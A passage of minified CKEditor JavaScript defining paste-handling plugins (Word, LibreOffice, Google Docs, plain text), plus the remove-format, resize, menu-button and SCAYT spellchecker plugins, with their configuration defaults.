e.length&&b()})})(e[f]);return 0===e.length}var c=[],m=CKEDITOR.tools.createClass({$:function(){this.handlers=[]},proto:{register:function(a){"number"!==typeof a.priority&&(a.priority=10);this.handlers.push(a)},addPasteListener:function(c){c.on("paste",function(l){var d=a(this.handlers,l),k;if(0!==d.length){k=e(d);k=b(k,function(){return c.fire("paste",l.data)});if(!k)return l.cancel();f(d,l)}},this,null,3)}}});CKEDITOR.plugins.add("pastetools",{requires:"clipboard",beforeInit:function(a){a.pasteTools=
new m;a.pasteTools.addPasteListener(a)}});CKEDITOR.plugins.pastetools={filters:{},loadFilters:b,createFilter:function(a){var b=CKEDITOR.tools.array.isArray(a.rules)?a.rules:[a.rules],d=a.additionalTransforms;return function(a,c){var e=new CKEDITOR.htmlParser.basicWriter,f=new CKEDITOR.htmlParser.filter,h;d&&(a=d(a,c));CKEDITOR.tools.array.forEach(b,function(b){f.addRules(b(a,c,f))});h=CKEDITOR.htmlParser.fragment.fromHtml(a);f.applyTo(h);h.writeHtml(e);return e.getHtml()}},getClipboardData:function(a,
b){var d;return CKEDITOR.plugins.clipboard.isCustomDataTypesSupported||"text/html"===b?(d=a.dataTransfer.getData(b,!0))||"text/html"!==b?d:a.dataValue:null},getConfigValue:function(a,b){if(a&&a.config){var d=CKEDITOR.tools,c=a.config,e=d.object.keys(c),f=["pasteTools_"+b,"pasteFromWord_"+b,"pasteFromWord"+d.capitalize(b,!0)],f=d.array.find(f,function(a){return-1!==d.array.indexOf(e,a)});return c[f]}},getContentGeneratorName:function(a){if((a=/<meta\s+name=["']?generator["']?\s+content=["']?(\w+)/gi.exec(a))&&
a.length)return a=a[1].toLowerCase(),0===a.indexOf("microsoft")?"microsoft":0===a.indexOf("libreoffice")?"libreoffice":"unknown"}};CKEDITOR.pasteFilters={}})();(function(){CKEDITOR.plugins.add("pastefromgdocs",{requires:"pastetools",init:function(a){var f=CKEDITOR.plugins.getPath("pastetools"),e=this.path;a.pasteTools.register({filters:[CKEDITOR.getUrl(f+"filter/common.js"),CKEDITOR.getUrl(e+"filter/default.js")],canHandle:function(a){return/id=(\"|\')?docs\-internal\-guid\-/.test(a.data.dataValue)},
handle:function(b,c){var e=b.data,f=CKEDITOR.plugins.pastetools.getClipboardData(e,"text/html");e.dontFilter=!0;e.dataValue=CKEDITOR.pasteFilters.gdocs(f,a);!0===a.config.forcePasteAsPlainText&&(e.type="text");c()}})}})})();(function(){CKEDITOR.plugins.add("pastefromlibreoffice",{requires:"pastetools",isSupportedEnvironment:function(){var a=CKEDITOR.env.ie&&11>=CKEDITOR.env.version;return!(CKEDITOR.env.webkit&&!CKEDITOR.env.chrome)&&!a},init:function(a){if(this.isSupportedEnvironment()){var f=CKEDITOR.plugins.getPath("pastetools"),
e=this.path;a.pasteTools.register({priority:100,filters:[CKEDITOR.getUrl(f+"filter/common.js"),CKEDITOR.getUrl(f+"filter/image.js"),CKEDITOR.getUrl(e+"filter/default.js")],canHandle:function(a){a=a.data;return(a=a.dataTransfer.getData("text/html",!0)||a.dataValue)?"libreoffice"===CKEDITOR.plugins.pastetools.getContentGeneratorName(a):!1},handle:function(b,c){var e=b.data,f=e.dataValue||CKEDITOR.plugins.pastetools.getClipboardData(e,"text/html");e.dontFilter=!0;f=CKEDITOR.pasteFilters.image(f,a,CKEDITOR.plugins.pastetools.getClipboardData(e,
"text/rtf"));e.dataValue=CKEDITOR.pasteFilters.libreoffice(f,a);!0===a.config.forcePasteAsPlainText&&(e.type="text");c()}})}}})})();(function(){CKEDITOR.plugins.add("pastefromword",{requires:"pastetools",init:function(a){function f(a){var b=CKEDITOR.plugins.pastefromword&&CKEDITOR.plugins.pastefromword.images,d,c=[];if(b&&a.editor.filter.check("img[src]")&&(d=b.extractTagsFromHtml(a.data.dataValue),0!==d.length&&(b=b.extractFromRtf(a.data.dataTransfer["text/rtf"]),0!==b.length&&(CKEDITOR.tools.array.forEach(b,
function(a){c.push(a.type?"data:"+a.type+";base64,"+CKEDITOR.tools.convertBytesToBase64(CKEDITOR.tools.convertHexStringToBytes(a.hex)):null)},this),d.length===c.length))))for(b=0;b<d.length;b++)0===d[b].indexOf("file://")&&c[b]&&(a.data.dataValue=a.data.dataValue.replace(d[b],c[b]))}var e=0,b=CKEDITOR.plugins.getPath("pastetools"),c=this.path,m=void 0===a.config.pasteFromWord_inlineImages?!0:a.config.pasteFromWord_inlineImages,b=[CKEDITOR.getUrl(b+"filter/common.js"),CKEDITOR.getUrl(c+"filter/default.js")];
a.addCommand("pastefromword",{canUndo:!1,async:!0,exec:function(a,b){e=1;a.execCommand("paste",{type:"html",notification:b&&"undefined"!==typeof b.notification?b.notification:!0})}});CKEDITOR.plugins.clipboard.addPasteButton(a,"PasteFromWord",{label:a.lang.pastefromword.toolbar,command:"pastefromword",toolbar:"clipboard,50"});a.pasteTools.register({filters:a.config.pasteFromWordCleanupFile?[a.config.pasteFromWordCleanupFile]:b,canHandle:function(a){a=CKEDITOR.plugins.pastetools.getClipboardData(a.data,
"text/html");var b=CKEDITOR.plugins.pastetools.getContentGeneratorName(a),d=/(class="?Mso|style=["'][^"]*?\bmso\-|w:WordDocument|<o:\w+>|<\/font>)/,b=b?"microsoft"===b:d.test(a);return a&&(e||b)},handle:function(b,c){var d=b.data,f=CKEDITOR.plugins.pastetools.getClipboardData(d,"text/html"),g=CKEDITOR.plugins.pastetools.getClipboardData(d,"text/rtf"),f={dataValue:f,dataTransfer:{"text/rtf":g}};if(!1!==a.fire("pasteFromWord",f)||e){d.dontFilter=!0;if(e||!a.config.pasteFromWordPromptCleanup||confirm(a.lang.pastefromword.confirmCleanup))f.dataValue=
CKEDITOR.cleanWord(f.dataValue,a),a.fire("afterPasteFromWord",f),d.dataValue=f.dataValue,!0===a.config.forcePasteAsPlainText?d.type="text":CKEDITOR.plugins.clipboard.isCustomCopyCutSupported||"allow-word"!==a.config.forcePasteAsPlainText||(d.type="html");e=0;c()}}});if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported&&m)a.on("afterPasteFromWord",f)}})})();(function(){var a={canUndo:!1,async:!0,exec:function(a,e){var b=a.lang,c=CKEDITOR.tools.keystrokeToString(b.common.keyboard,a.getCommandKeystroke(CKEDITOR.env.ie?
a.commands.paste:this)),m=e&&"undefined"!==typeof e.notification?e.notification:!e||!e.from||"keystrokeHandler"===e.from&&CKEDITOR.env.ie,b=m&&"string"===typeof m?m:b.pastetext.pasteNotification.replace(/%1/,'\x3ckbd aria-label\x3d"'+c.aria+'"\x3e'+c.display+"\x3c/kbd\x3e");a.execCommand("paste",{type:"text",notification:m?b:!1})}};CKEDITOR.plugins.add("pastetext",{requires:"clipboard",init:function(f){var e=CKEDITOR.env.safari?CKEDITOR.CTRL+CKEDITOR.ALT+CKEDITOR.SHIFT+86:CKEDITOR.CTRL+CKEDITOR.SHIFT+
86;f.addCommand("pastetext",a);f.setKeystroke(e,"pastetext");CKEDITOR.plugins.clipboard.addPasteButton(f,"PasteText",{label:f.lang.pastetext.button,command:"pastetext",toolbar:"clipboard,40"});if(f.config.forcePasteAsPlainText)f.on("beforePaste",function(a){"html"!=a.data.type&&(a.data.type="text")});f.on("pasteState",function(a){f.getCommand("pastetext").setState(a.data)})}})})();CKEDITOR.plugins.add("removeformat",{init:function(a){a.addCommand("removeFormat",CKEDITOR.plugins.removeformat.commands.removeformat);
a.ui.addButton&&a.ui.addButton("RemoveFormat",{label:a.lang.removeformat.toolbar,command:"removeFormat",toolbar:"cleanup,10"})}});CKEDITOR.plugins.removeformat={commands:{removeformat:{exec:function(a){for(var f=a._.removeFormatRegex||(a._.removeFormatRegex=new RegExp("^(?:"+a.config.removeFormatTags.replace(/,/g,"|")+")$","i")),e=a._.removeAttributes||(a._.removeAttributes=a.config.removeFormatAttributes.split(",")),b=CKEDITOR.plugins.removeformat.filter,c=a.getSelection().getRanges(),m=c.createIterator(),
h=function(a){return a.type==CKEDITOR.NODE_ELEMENT},l;l=m.getNextRange();){l.enlarge(CKEDITOR.ENLARGE_INLINE);var d=l.createBookmark(),k=d.startNode,g=d.endNode,n=function(d){for(var c=a.elementPath(d),e=c.elements,g=1,k;(k=e[g])&&!k.equals(c.block)&&!k.equals(c.blockLimit);g++)f.test(k.getName())&&b(a,k)&&d.breakParent(k)};n(k);if(g)for(n(g),k=k.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT);k&&!k.equals(g);)if(k.isReadOnly()){if(k.getPosition(g)&CKEDITOR.POSITION_CONTAINS)break;k=k.getNext(h)}else n=
k.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT),"img"==k.getName()&&k.data("cke-realelement")||!b(a,k)||(f.test(k.getName())?k.remove(1):(k.removeAttributes(e),a.fire("removeFormatCleanup",k))),k=n;l.moveToBookmark(d)}a.forceNextSelectionCheck();a.getSelection().selectRanges(c)}}},filter:function(a,f){for(var e=a._.removeFormatFilters||[],b=0;b<e.length;b++)if(!1===e[b](f))return!1;return!0}};CKEDITOR.editor.prototype.addRemoveFormatFilter=function(a){this._.removeFormatFilters||(this._.removeFormatFilters=
[]);this._.removeFormatFilters.push(a)};CKEDITOR.config.removeFormatTags="b,big,cite,code,del,dfn,em,font,i,ins,kbd,q,s,samp,small,span,strike,strong,sub,sup,tt,u,var";CKEDITOR.config.removeFormatAttributes="class,style,lang,width,height,align,hspace,valign";CKEDITOR.plugins.add("resize",{init:function(a){function f(c){var e=d.width,f=d.height,h=e+(c.data.$.screenX-l.x)*("rtl"==m?-1:1);c=f+(c.data.$.screenY-l.y);k&&(e=Math.max(b.resize_minWidth,Math.min(h,b.resize_maxWidth)));g&&(f=Math.max(b.resize_minHeight,
Math.min(c,b.resize_maxHeight)));a.resize(k?e:null,f)}function e(){CKEDITOR.document.removeListener("mousemove",f);CKEDITOR.document.removeListener("mouseup",e);a.document&&(a.document.removeListener("mousemove",f),a.document.removeListener("mouseup",e))}var b=a.config,c=a.ui.spaceId("resizer"),m=a.element?a.element.getDirection(1):"ltr";!b.resize_dir&&(b.resize_dir="vertical");void 0===b.resize_maxWidth&&(b.resize_maxWidth=3E3);void 0===b.resize_maxHeight&&(b.resize_maxHeight=3E3);void 0===b.resize_minWidth&&
(b.resize_minWidth=750);void 0===b.resize_minHeight&&(b.resize_minHeight=250);if(!1!==b.resize_enabled){var h=null,l,d,k=("both"==b.resize_dir||"horizontal"==b.resize_dir)&&b.resize_minWidth!=b.resize_maxWidth,g=("both"==b.resize_dir||"vertical"==b.resize_dir)&&b.resize_minHeight!=b.resize_maxHeight,n=CKEDITOR.tools.addFunction(function(c){h||(h=a.getResizable());d={width:h.$.offsetWidth||0,height:h.$.offsetHeight||0};l={x:c.screenX,y:c.screenY};b.resize_minWidth>d.width&&(b.resize_minWidth=d.width);
b.resize_minHeight>d.height&&(b.resize_minHeight=d.height);CKEDITOR.document.on("mousemove",f);CKEDITOR.document.on("mouseup",e);a.document&&(a.document.on("mousemove",f),a.document.on("mouseup",e));c.preventDefault&&c.preventDefault()});a.on("destroy",function(){CKEDITOR.tools.removeFunction(n)});a.on("uiSpace",function(b){if("bottom"==b.data.space){var d="";k&&!g&&(d=" cke_resizer_horizontal");!k&&g&&(d=" cke_resizer_vertical");var e='\x3cspan id\x3d"'+c+'" class\x3d"cke_resizer'+d+" cke_resizer_"+
m+'" title\x3d"'+CKEDITOR.tools.htmlEncode(a.lang.common.resize)+'" onmousedown\x3d"CKEDITOR.tools.callFunction('+n+', event)"\x3e'+("ltr"==m?"◢":"◣")+"\x3c/span\x3e";"ltr"==m&&"ltr"==d?b.data.html+=e:b.data.html=e+b.data.html}},a,null,100);a.on("maximize",function(b){a.ui.space("resizer")[b.data==CKEDITOR.TRISTATE_ON?"hide":"show"]()})}}});CKEDITOR.plugins.add("menubutton",{requires:"button,menu",onLoad:function(){var a=function(a){var e=this._,b=e.menu;e.state!==CKEDITOR.TRISTATE_DISABLED&&(e.on&&
b?b.hide():(e.previousState=e.state,b||(b=e.menu=new CKEDITOR.menu(a,{panel:{className:"cke_menu_panel",attributes:{"aria-label":a.lang.common.options}}}),b.onHide=CKEDITOR.tools.bind(function(){var b=this.command?a.getCommand(this.command).modes:this.modes;this.setState(!b||b[a.mode]?e.previousState:CKEDITOR.TRISTATE_DISABLED);e.on=0},this),this.onMenu&&b.addListener(this.onMenu)),this.setState(CKEDITOR.TRISTATE_ON),e.on=1,setTimeout(function(){b.show(CKEDITOR.document.getById(e.id),4)},0)))};CKEDITOR.ui.menuButton=
CKEDITOR.tools.createClass({base:CKEDITOR.ui.button,$:function(f){delete f.panel;this.base(f);this.hasArrow="menu";this.click=a},statics:{handler:{create:function(a){return new CKEDITOR.ui.menuButton(a)}}}})},beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_MENUBUTTON,CKEDITOR.ui.menuButton.handler)}});CKEDITOR.UI_MENUBUTTON="menubutton";"use strict";CKEDITOR.plugins.add("scayt",{requires:"menubutton,dialog",tabToOpen:null,dialogName:"scaytDialog",onLoad:function(a){"moono-lisa"==(CKEDITOR.skinName||
a.config.skin)&&CKEDITOR.document.appendStyleSheet(CKEDITOR.getUrl(this.path+"skins/"+CKEDITOR.skin.name+"/scayt.css"));CKEDITOR.document.appendStyleSheet(CKEDITOR.getUrl(this.path+"dialogs/dialog.css"));var f=!1;CKEDITOR.on("instanceLoaded",function(a){if(!f&&CKEDITOR.plugins.autocomplete){f=!0;var b=CKEDITOR.plugins.autocomplete.prototype.getModel;CKEDITOR.plugins.autocomplete.prototype.getModel=function(a){var e=this.editor;a=b.bind(this)(a);a.on("change-isActive",function(a){a.data?e.fire("autocompletePanelShow"):
e.fire("autocompletePanelHide")});return a}}})},init:function(a){var f=this,e=CKEDITOR.plugins.scayt;this.bindEvents(a);this.parseConfig(a);this.addRule(a);CKEDITOR.dialog.add(this.dialogName,CKEDITOR.getUrl(this.path+"dialogs/options.js"));this.addMenuItems(a);var b=a.lang.scayt,c=CKEDITOR.env;a.ui.add("Scayt",CKEDITOR.UI_MENUBUTTON,{label:b.text_title,title:a.plugins.wsc?a.lang.wsc.title:b.text_title,modes:{wysiwyg:!(c.ie&&(8>c.version||c.quirks))},toolbar:"spellchecker,20",refresh:function(){var b=
a.ui.instances.Scayt.getState();a.scayt&&(b=e.state.scayt[a.name]?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF);a.fire("scaytButtonState",b)},onRender:function(){var b=this;a.on("scaytButtonState",function(a){void 0!==typeof a.data&&b.setState(a.data)})},onMenu:function(){var b=a.scayt;a.getMenuItem("scaytToggle").label=a.lang.scayt[b&&e.state.scayt[a.name]?"btn_disable":"btn_enable"];var c={scaytToggle:CKEDITOR.TRISTATE_OFF,scaytOptions:b?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytLangs:b?
CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytDict:b?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytAbout:b?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,WSC:a.plugins.wsc?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED};a.config.scayt_uiTabs[0]||delete c.scaytOptions;a.config.scayt_uiTabs[1]||delete c.scaytLangs;a.config.scayt_uiTabs[2]||delete c.scaytDict;b&&!CKEDITOR.plugins.scayt.isNewUdSupported(b)&&(delete c.scaytDict,a.config.scayt_uiTabs[2]=0,CKEDITOR.plugins.scayt.alarmCompatibilityMessage());
return c}});a.contextMenu&&a.addMenuItems&&(a.contextMenu.addListener(function(b,c){var e=a.scayt,d,k;e&&(k=e.getSelectionNode())&&(d=f.menuGenerator(a,k),e.showBanner("."+a.contextMenu._.definition.panel.className.split(" ").join(" .")));return d}),a.contextMenu._.onHide=CKEDITOR.tools.override(a.contextMenu._.onHide,function(b){return function(){var c=a.scayt;c&&c.hideBanner();return b.apply(this)}}))},addMenuItems:function(a){var f=this,e=CKEDITOR.plugins.scayt;a.addMenuGroup("scaytButton");for(var b=
a.config.scayt_contextMenuItemsOrder.split("|"),c=0;c<b.length;c++)b[c]="scayt_"+b[c];if((b=["grayt_description","grayt_suggest","grayt_control"].concat(b))&&b.length)for(c=0;c<b.length;c++)a.addMenuGroup(b[c],c-10);a.addCommand("scaytToggle",{exec:function(a){var b=a.scayt;e.state.scayt[a.name]=!e.state.scayt[a.name];!0===e.state.scayt[a.name]?b||e.createScayt(a):b&&e.destroy(a)}});a.addCommand("scaytAbout",{exec:function(a){a.scayt.tabToOpen="about";e.openDialog(f.dialogName,a)}});a.addCommand("scaytOptions",
{exec:function(a){a.scayt.tabToOpen="options";e.openDialog(f.dialogName,a)}});a.addCommand("scaytLangs",{exec:function(a){a.scayt.tabToOpen="langs";e.openDialog(f.dialogName,a)}});a.addCommand("scaytDict",{exec:function(a){a.scayt.tabToOpen="dictionaries";e.openDialog(f.dialogName,a)}});b={scaytToggle:{label:a.lang.scayt.btn_enable,group:"scaytButton",command:"scaytToggle"},scaytAbout:{label:a.lang.scayt.btn_about,group:"scaytButton",command:"scaytAbout"},scaytOptions:{label:a.lang.scayt.btn_options,
group:"scaytButton",command:"scaytOptions"},scaytLangs:{label:a.lang.scayt.btn_langs,group:"scaytButton",command:"scaytLangs"},scaytDict:{label:a.lang.scayt.btn_dictionaries,group:"scaytButton",command:"scaytDict"}};a.plugins.wsc&&(b.WSC={label:a.lang.wsc.toolbar,group:"scaytButton",onClick:function(){var b=CKEDITOR.plugins.scayt,c=a.scayt,e=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.container.getText():a.document.getBody().getText();(e=e.replace(/\s/g,""))?(c&&b.state.scayt[a.name]&&c.setMarkupPaused&&
c.setMarkupPaused(!0),a.lockSelection(),a.execCommand("checkspell")):alert("Nothing to check!")}});a.addMenuItems(b)},bindEvents:function(a){var f=CKEDITOR.plugins.scayt,e=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE,b=function(){f.destroy(a)},c=function(){!f.state.scayt[a.name]||a.readOnly||a.scayt||f.createScayt(a)},m=function(){var b=a.editable();b.attachListener(b,"focus",function(b){CKEDITOR.plugins.scayt&&!a.scayt&&setTimeout(c,0);b=CKEDITOR.plugins.scayt&&CKEDITOR.plugins.scayt.state.scayt[a.name]&&
a.scayt;var f,g;if((e||b)&&a._.savedSelection){b=a._.savedSelection.getSelectedElement();b=!b&&a._.savedSelection.getRanges();for(var h=0;h<b.length;h++)g=b[h],"string"===typeof g.startContainer.$.nodeValue&&(f=g.startContainer.getText().length,(f<g.startOffset||f<g.endOffset)&&a.unlockSelection(!1))}},this,null,-10)},h=function(){e?a.config.scayt_inlineModeImmediateMarkup?c():(a.on("blur",function(){setTimeout(b,0)}),a.on("focus",c),a.focusManager.hasFocus&&c()):c();m();var f=a.editable();f.attachListener(f,
"mousedown",function(b){b=b.data.getTarget();var c=a.widgets&&a.widgets.getByElement(b);c&&(c.wrapper=b.getAscendant(function(a){return a.hasAttribute("data-cke-widget-wrapper")},!0))},this,null,-10)};a.on("contentDom",h);a.on("beforeCommandExec",function(b){var d=a.scayt,c=!1,e=!1,h=!0;b.data.name in f.options.disablingCommandExec&&"wysiwyg"==a.mode?d&&(f.destroy(a),a.fire("scaytButtonState",CKEDITOR.TRISTATE_DISABLED)):"bold"!==b.data.name&&"italic"!==b.data.name&&"underline"!==b.data.name&&"strike"!==
b.data.name&&"subscript"!==b.data.name&&"superscript"!==b.data.name&&"enter"!==b.data.name&&"cut"!==b.data.name&&"language"!==b.data.name||!d||("cut"===b.data.name&&(h=!1,e=!0),"language"===b.data.name&&(e=c=!0),a.fire("reloadMarkupScayt",{removeOptions:{removeInside:h,forceBookmark:e,language:c},timeout:0}))});a.on("beforeSetMode",function(b){if("source"==b.data){if(b=a.scayt)f.destroy(a),a.fire("scaytButtonState",CKEDITOR.TRISTATE_DISABLED);a.document&&a.document.getBody().removeAttribute("_jquid")}});
a.on("afterCommandExec",function(b){"wysiwyg"!=a.mode||"undo"!=b.data.name&&"redo"!=b.data.name||setTimeout(function(){f.reloadMarkup(a.scayt)},250)});a.on("readOnly",function(b){var d;b&&(d=a.scayt,!0===b.editor.readOnly?d&&d.fire("removeMarkupInDocument",{}):d?f.reloadMarkup(d):"wysiwyg"==b.editor.mode&&!0===f.state.scayt[b.editor.name]&&(f.createScayt(a),b.editor.fire("scaytButtonState",CKEDITOR.TRISTATE_ON)))});a.on("beforeDestroy",b);a.on("setData",function(){b();(a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE||
a.plugins.divarea)&&h()},this,null,50);a.on("reloadMarkupScayt",function(b){var d=b.data&&b.data.removeOptions,c=b.data&&b.data.timeout,e=b.data&&b.data.language,h=a.scayt;h&&setTimeout(function(){e&&(d.selectionNode=a.plugins.language.getCurrentLangElement(a),d.selectionNode=d.selectionNode&&d.selectionNode.$||null);h.removeMarkupInSelectionNode(d);f.reloadMarkup(h)},c||0)});a.on("insertElement",function(){a.fire("reloadMarkupScayt",{removeOptions:{forceBookmark:!0}})},this,null,50);a.on("insertHtml",
function(){a.scayt&&a.scayt.setFocused&&a.scayt.setFocused(!0);a.fire("reloadMarkupScayt")},this,null,50);a.on("insertText",function(){a.scayt&&a.scayt.setFocused&&a.scayt.setFocused(!0);a.fire("reloadMarkupScayt")},this,null,50);a.on("scaytDialogShown",function(b){b.data.selectPage(a.scayt.tabToOpen)});a.on("autocompletePanelShow",function(b){(b=a.scayt)&&b.setMarkupPaused&&b.setMarkupPaused(!0)});a.on("autocompletePanelHide",function(b){(b=a.scayt)&&b.setMarkupPaused&&b.setMarkupPaused(!1)})},parseConfig:function(a){var f=
CKEDITOR.plugins.scayt;f.replaceOldOptionsNames(a.config);"boolean"!==typeof a.config.scayt_autoStartup&&(a.config.scayt_autoStartup=!1);f.state.scayt[a.name]=a.config.scayt_autoStartup;"boolean"!==typeof a.config.grayt_autoStartup&&(a.config.grayt_autoStartup=!1);"boolean"!==typeof a.config.scayt_inlineModeImmediateMarkup&&(a.config.scayt_inlineModeImmediateMarkup=!1);f.state.grayt[a.name]=a.config.grayt_autoStartup;a.config.scayt_contextCommands||(a.config.scayt_contextCommands="ignoreall|add");
a.config.scayt_contextMenuItemsOrder||(a.config.scayt_contextMenuItemsOrder="suggest|moresuggest|control");a.config.scayt_sLang||(a.config.scayt_sLang="en_US");if(void 0===a.config.scayt_maxSuggestions||"number"!=typeof a.config.scayt_maxSuggestions||0>a.config.scayt_maxSuggestions)a.config.scayt_maxSuggestions=3;if(void 0===a.config.scayt_minWordLength||"number"!=typeof a.config.scayt_minWordLength||1>a.config.scayt_minWordLength)a.config.scayt_minWordLength=3;if(void 0===a.config.scayt_customDictionaryIds||
"string"!==typeof a.config.scayt_customDictionaryIds)a.config.scayt_customDictionaryIds="";if(void 0===a.config.scayt_userDictionaryName||"string"!==typeof a.config.scayt_userDictionaryName)a.config.scayt_userDictionaryName=null;if("string"===typeof a.config.scayt_uiTabs&&3===a.config.scayt_uiTabs.split(",").length){var e=[],b=[];a.config.scayt_uiTabs=a.config.scayt_uiTabs.split(",");CKEDITOR.tools.search(a.config.scayt_uiTabs,function(a){1===Number(a)||0===Number(a)?(b.push(!0),e.push(Number(a))):
b.push(!1)});null===CKEDITOR.tools.search(b,!1)?a.config.scayt_uiTabs=e:a.config.scayt_uiTabs=[1,1,1]}else a.config.scayt_uiTabs=[1,1,1];"string"!=typeof a.config.scayt_serviceProtocol&&(a.config.scayt_serviceProtocol=null);"string"!=typeof a.config.scayt_serviceHost&&(a.config.scayt_serviceHost=null);"string"!=typeof a.config.scayt_servicePort&&(a.config.scayt_servicePort=null);"string"!=typeof a.config.scayt_servicePath&&(a.config.scayt_servicePath=null);a.config.scayt_moreSuggestions||(a.config.scayt_moreSuggestions=
"on");"string"!==typeof a.config.scayt_customerId&&(a.config.scayt_customerId="1:WvF0D4-UtPqN1-43nkD4-NKvUm2-daQqk3-LmNiI-z7Ysb4-mwry24-T8YrS3-Q2tpq2");"string"!==typeof a.config.scayt_customPunctuation&&(a.config.scayt_customPunctuation="-");"string"!==typeof a.config.scayt_srcUrl&&(f=document.location.protocol,f=-1!=f.search(/https?:/)?f:"http:",a.config.scayt_srcUrl=f+"//svc.webspellchecker.net/spellcheck31/wscbundle/wscbundle.js");"boolean"!==typeof CKEDITOR.config.scayt_handleCheckDirty&&(CKEDITOR.config.scayt_handleCheckDirty=
!0);"boolean"!==typeof CKEDITOR.config.scayt_handleUndoRedo&&(CKEDITOR.config.scayt_handleUndoRedo=!0);CKEDITOR.config.scayt_handleUndoRedo=CKEDITOR.plugins.undo?CKEDITOR.config.scayt_handleUndoRedo:!1;a.config.scayt_ignoreAllCapsWords&&"boolean"!==typeof a.config.scayt_ignoreAllCapsWords&&(a.config.scayt_ignoreAllCapsWords=!1);a.config.scayt_ignoreDomainNames&&"boolean"!==typeof a.config.scayt_ignoreDomainNames&&(a.config.scayt_ignoreDomainNames=!1);a.config.scayt_ignoreWordsWithMixedCases&&"boolean"!==
typeof a.config.scayt_ignoreWordsWithMixedCases&&(a.config.scayt_ignoreWordsWithMixedCases=!1);a.config.scayt_ignoreWordsWithNumbers&&"boolean"!==typeof a.config.scayt_ignoreWordsWithNumbers&&(a.config.scayt_ignoreWordsWithNumbers=!1);if(a.config.scayt_disableOptionsStorage){var f=CKEDITOR.tools.isArray(a.config.scayt_disableOptionsStorage)?a.config.scayt_disableOptionsStorage:"string"===typeof a.config.scayt_disableOptionsStorage?[a.config.scayt_disableOptionsStorage]:void 0,c="all options lang ignore-all-caps-words ignore-domain-names ignore-words-with-mixed-cases ignore-words-with-numbers".split(" "),
m=["lang","ignore-all-caps-words","ignore-domain-names","ignore-words-with-mixed-cases","ignore-words-with-numbers"],h=CKEDITOR.tools.search,l=CKEDITOR.tools.indexOf;a.config.scayt_disableOptionsStorage=function(a){for(var b=[],e=0;e<a.length;e++){var f=a[e],r=!!h(a,"options");if(!h(c,f)||r&&h(m,function(a){if("lang"===a)return!1}))return;h(m,f)&&m.splice(l(m,f),1);if("all"===f||r&&h(a,"lang"))return[];"options"===f&&(m=["lang"])}return b=b.concat(m)}(f)}},addRule:function(a){var f=CKEDITOR.plugins.scayt,
e=a.dataProcessor,b=e&&e.htmlFilter,c=a._.elementsPath&&a._.elementsPath.filters,e=e&&e.dataFilter,m=a.addRemoveFormatFilter,h=function(b){if(a.scayt&&(b.hasAttribute(f.options.data_attribute_name)||b.hasAttribute(f.options.problem_grammar_data_attribute)))return!1},l=function(b){var c=!0;a.scayt&&(b.hasAttribute(f.options.data_attribute_name)||b.hasAttribute(f.options.problem_grammar_data_attribute))&&(c=!1);return c};c&&c.push(h);e&&e.addRules({elements:{span:function(a){var b=a.hasClass(f.options.misspelled_word_class)&&
a.attributes[f.options.data_attribute_name],c=a.hasClass(f.options.problem_grammar_class)&&a.attributes[f.options.problem_grammar_data_attribute];f&&(b||c)&&delete a.name;return a}}});b&&b.addRules({elements:{span:function(a){var b=a.hasClass(f.options.misspelled_word_class)&&a.attributes[f.options.data_attribute_name],c=a.hasClass(f.options.problem_grammar_class)&&a.attributes[f.options.problem_grammar_data_attribute];f&&(b||c)&&delete a.name;return a}}});m&&m.call(a,l)},scaytMenuDefinition:function(a){var f=
this,e=CKEDITOR.plugins.scayt;a=a.scayt;return{scayt:{scayt_ignore:{label:a.getLocal("btn_ignore"),group:"scayt_control",order:1,exec:function(a){a.scayt.ignoreWord()}},scayt_ignoreall:{label:a.getLocal("btn_ignoreAll"),group:"scayt_control",order:2,exec:function(a){a.scayt.ignoreAllWords()}},scayt_add:{label:a.getLocal("btn_addWord"),group:"scayt_control",order:3,exec:function(a){var c=a.scayt;setTimeout(function(){c.addWordToUserDictionary()},10)}},scayt_option:{label:a.getLocal("btn_options"),
group:"scayt_control",order:4,exec:function(a){a.scayt.tabToOpen="options";e.openDialog(f.dialogName,a)},verification:function(a){return 1==a.config.scayt_uiTabs[0]?!0:!1}},scayt_language:{label:a.getLocal("btn_langs"),group:"scayt_control",order:5,exec:function(a){a.scayt.tabToOpen="langs";e.openDialog(f.dialogName,a)},verification:function(a){return 1==a.config.scayt_uiTabs[1]?!0:!1}},scayt_dictionary:{label:a.getLocal("btn_dictionaries"),group:"scayt_control",order:6,exec:function(a){a.scayt.tabToOpen=
"dictionaries";e.openDialog(f.dialogName,a)},verification:function(a){return 1==a.config.scayt_uiTabs[2]?!0:!1}},scayt_about:{label:a.getLocal("btn_about"),group:"scayt_control",order:7,exec:function(a){a.scayt.tabToOpen="about";e.openDialog(f.dialogName,a)}}},grayt:{grayt_problemdescription:{label:"Grammar problem description",group:"grayt_description",order:1,state:CKEDITOR.TRISTATE_DISABLED,exec:function(a){}},grayt_ignore:{label:a.getLocal("btn_ignore"),group:"grayt_control",order:2,exec:function(a){a.scayt.ignorePhrase()}},
grayt_ignoreall:{label:a.getLocal("btn_ignoreAll"),group:"grayt_control",order:3,exec:function(a){a.scayt.ignoreAllPhrases()}}}}},buildSuggestionMenuItems:function(a,f,e){var b={},c={},m=e?"word":"phrase",h=e?"startGrammarCheck":"startSpellCheck",l=a.scayt;if(0<f.length&&"no_any_suggestions"!==f[0])if(e)for(e=0;e<f.length;e++){var d="scayt_suggest_"+CKEDITOR.plugins.scayt.suggestions[e].replace(" ","_");a.addCommand(d,this.createCommand(CKEDITOR.plugins.scayt.suggestions[e],m,h));e<a.config.scayt_maxSuggestions?
